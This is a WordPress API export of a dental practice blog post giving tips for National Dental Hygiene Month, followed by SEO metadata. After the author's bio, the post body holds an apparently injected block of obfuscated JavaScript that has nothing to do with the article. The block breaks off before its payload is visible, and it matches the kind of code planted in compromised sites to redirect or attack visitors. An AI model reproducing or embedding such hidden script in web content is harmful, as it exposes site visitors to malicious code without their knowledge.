{"id":491,"date":"2019-10-18T15:59:25","date_gmt":"2019-10-18T15:59:25","guid":{"rendered":"https:\/\/www.pinerundental.com\/blog\/?p=491"},"modified":"2019-11-18T16:06:22","modified_gmt":"2019-11-18T16:06:22","slug":"national-dental-hygiene-month-tips","status":"publish","type":"post","link":"https:\/\/www.pinerundental.com\/blog\/national-dental-hygiene-month-tips\/","title":{"rendered":"Celebrate National Dental Hygiene Month By Perfecting Your At-Home Routine"},"content":{"rendered":"<p><a href=\"https:\/\/www.pinerundental.com\/blog\/wp-content\/uploads\/2019\/11\/AdobeStock_159043708__1___1574092810_36446.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignleft size-medium wp-image-492\" src=\"https:\/\/www.pinerundental.com\/blog\/wp-content\/uploads\/2019\/11\/AdobeStock_159043708__1___1574092810_36446-300x200.jpg\" alt=\"parent and child brushing their teeth together\" width=\"300\" height=\"200\" srcset=\"https:\/\/www.pinerundental.com\/blog\/wp-content\/uploads\/2019\/11\/AdobeStock_159043708__1___1574092810_36446-300x200.jpg 300w, https:\/\/www.pinerundental.com\/blog\/wp-content\/uploads\/2019\/11\/AdobeStock_159043708__1___1574092810_36446-768x512.jpg 768w, https:\/\/www.pinerundental.com\/blog\/wp-content\/uploads\/2019\/11\/AdobeStock_159043708__1___1574092810_36446.jpg 800w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a>In 2009, dental hygienists came together from around the nation to dub October as National Dental Hygiene Month. They believed that patients and professionals needed a time to dedicate themselves to learning about the importance of their <a href=\"https:\/\/www.pinerundental.com\/general-family-dentistry.html\">oral hygiene routine<\/a> and how they can make it more efficient and effective. Maintaining fresh and healthy teeth and gums isn\u2019t limited to visiting your dentist for teeth cleanings and dental checkups, it also requires effort at home. Read on for some ways you can celebrate National Dental Hygiene Month and make your local hygienist proud.<!--more--><\/p>\n<h2>Maintaining An Oral Hygiene Routine<\/h2>\n<p>The American Dental Association recommends doing some basic tasks every day to keep your teeth and gums healthy. Clinical research has shown that with the proper techniques, patients can keep their natural teeth healthier for longer. To celebrate your mouth, be sure to:<\/p>\n<ul>\n<li><strong>Floss every day<\/strong>. If you have difficulty maneuvering regular dental floss effectively, try using floss picks or even a water flosser. Both of these can make the process easier, faster, and more effective.<\/li>\n<li><strong>Brush twice every day for at least two minutes. <\/strong>Brushing your teeth in the morning and at night doesn\u2019t just help you avoid bad breath. It also reduces your risk of developing oral health problems like gum disease. It\u2019s best to use a soft-bristled brush and fluoride toothpaste.<\/li>\n<li><strong>Rinse with antibacterial mouthwash daily. <\/strong>Hygienists are often surprised to learn that their patients believe rinsing with mouthwash is optional to maintain a healthy mouth. Rinsing after you brush and floss will freshen your breath and keep your mouth clean.<\/li>\n<\/ul>\n<h2>Using the Right Oral Health Tools<\/h2>\n<p>Every mouth is different, which is the reason that it\u2019s so overwhelming to look down your local oral hygiene aisle at the massive selection of products available to you. If you\u2019re left wondering what toothbrush, toothpaste, and mouthwash is the best choice for you, it\u2019s a good idea to ask your dental hygienist for recommendations at your next checkup and teeth cleaning. Every year, new products get released, like water flossers and sonic toothbrushes. These can be great tools to add to your bathroom cache if you have difficulty effectively clearing plaque from below your gumline. Your dental professionals can let you know if they\u2019re a good investment.<\/p>\n<h2>The Importance of Dental Hygiene Month<\/h2>\n<p>No one wants bad breath or lingering oral health problems, which is why most people make a decent effort to take care of their pearly whites. Keeping your oral health on track and reigniting your passion about brushing and flossing in the month of October not only celebrates your dental hygienists, but also keeps your mouth happy. When you celebrate by tweaking your oral hygiene routine and visiting your dentist for a checkup and cleaning, you can rest assured that you\u2019ll be able to enjoy your mouth for decades to come.<\/p>\n<p><strong>About the Author<\/strong><\/p>\n<p>Dr. Gary Henkel has been providing his community of Philadelphia, Horsham, and surrounding areas with high-quality dental care since 1981. He completed a two-year general practice residency, where he was able to gain experience working with patients who are physically or mentally challenged and medically compromised. He believes in providing the best preventive dental care, so his patients don\u2019t have to worry about the small problems turning into large ones. For questions or to schedule a routine checkup and cleaning, visit Horsham Dental Elements\u2019 <a href=\"https:\/\/www.pinerundental.com\/contact-us.html\">website<\/a> or call 215-672-6666.<br \/>\n<script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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nation to dub October as National Dental Hygiene Month. They believed that patients and professionals needed a time to dedicate themselves to learning about the importance of their oral hygiene routine and how they can make it more efficient and effective. Maintaining fresh and healthy teeth [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-491","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v22.6 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>National Dental Hygiene Month | Professional Oral Hygiene Tips<\/title>\n<meta name=\"description\" content=\"This October is National Dental Hygiene Month. The best way to celebrate is to tweak your oral hygiene routine so it\u2019s more effective than ever!\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.pinerundental.com\/blog\/national-dental-hygiene-month-tips\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"National Dental Hygiene Month | Professional Oral Hygiene Tips\" \/>\n<meta property=\"og:description\" content=\"This October is National Dental Hygiene Month. The best way to celebrate is to tweak your oral hygiene routine so it\u2019s more effective than ever!\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.pinerundental.com\/blog\/national-dental-hygiene-month-tips\/\" \/>\n<meta property=\"og:site_name\" content=\"Horsham Dental Elements\" \/>\n<meta property=\"article:published_time\" content=\"2019-10-18T15:59:25+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2019-11-18T16:06:22+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.pinerundental.com\/blog\/wp-content\/uploads\/2019\/11\/AdobeStock_159043708__1___1574092810_36446-300x200.jpg\" \/>\n<meta name=\"author\" content=\"horsham\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"horsham\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"3 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.pinerundental.com\/blog\/national-dental-hygiene-month-tips\/\",\"url\":\"https:\/\/www.pinerundental.com\/blog\/national-dental-hygiene-month-tips\/\",\"name\":\"National Dental Hygiene Month | Professional Oral Hygiene Tips\",\"isPartOf\":{\"@id\":\"https:\/\/www.pinerundental.com\/blog\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/www.pinerundental.com\/blog\/national-dental-hygiene-month-tips\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/www.pinerundental.com\/blog\/national-dental-hygiene-month-tips\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/www.pinerundental.com\/blog\/wp-content\/uploads\/2019\/11\/AdobeStock_159043708__1___1574092810_36446-300x200.jpg\",\"datePublished\":\"2019-10-18T15:59:25+00:00\",\"dateModified\":\"2019-11-18T16:06:22+00:00\",\"author\":{\"@id\":\"https:\/\/www.pinerundental.com\/blog\/#\/schema\/person\/c2c88f7770e6b9a4efd364aa1f4aa246\"},\"description\":\"This October is National Dental Hygiene Month. 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